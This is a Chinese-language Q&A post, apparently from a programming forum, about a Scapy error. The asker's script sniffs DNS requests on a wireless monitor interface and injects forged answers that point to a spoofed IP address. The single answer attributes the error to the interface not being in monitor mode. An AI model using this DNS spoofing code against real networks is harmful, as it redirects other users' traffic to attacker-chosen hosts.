使用 Scapy 嗅探数据包时出现 FCfield 属性错误

Question

我尝试使用 scapy 在 mon0 接口上嗅探 DNS 请求数据包。 我想发回一个欺骗性的 IP。 但我得到一个错误：

AttributeError: 'Ether' 对象没有属性 'FCfield'

代码：

def send_response(x):
x.show()
req_domain = x[DNS].qd.qname
logger.info('Found request for ' + req_domain)
# First, we delete the existing lengths and checksums..
# We will let Scapy re-create them
del(x[UDP].len)
del(x[UDP].chksum)
del(x[IP].len)
del(x[IP].chksum)
response = x.copy()
response.FCfield = '2L'

response.addr1, response.addr2 = x.addr2, x.addr1
# Switch the IP addresses
response.src, response.dst = x.dst, x.src
# Switch the ports
response.sport, response.dport = x.dport, x.sport
# Set the DNS flags
response[DNS].qr = '1L'
response[DNS].ra = '1L'
response[DNS].ancount = 1


response[DNS].an = DNSRR(
    rrname = req_domain,
    type = 'A',
    rclass = 'IN',
    ttl = 900,
    rdata = spoofed_ip
    )
#inject the response
sendp(response)
logger.info('Sent response: ' + req_domain + ' -> ' + spoofed_ip + '\n')

def main():
    logger.info('Starting to intercept [CTRL+C to stop]')
    sniff(prn=lambda x: send_response(x), lfilter=lambda x:x.haslayer(UDP) and x.dport == 53)

Answer 1

您的接口可能未配置为监控模式，这就是您获得以太网 (Ether) 层而不是 WiFi (Dot11) 层的原因。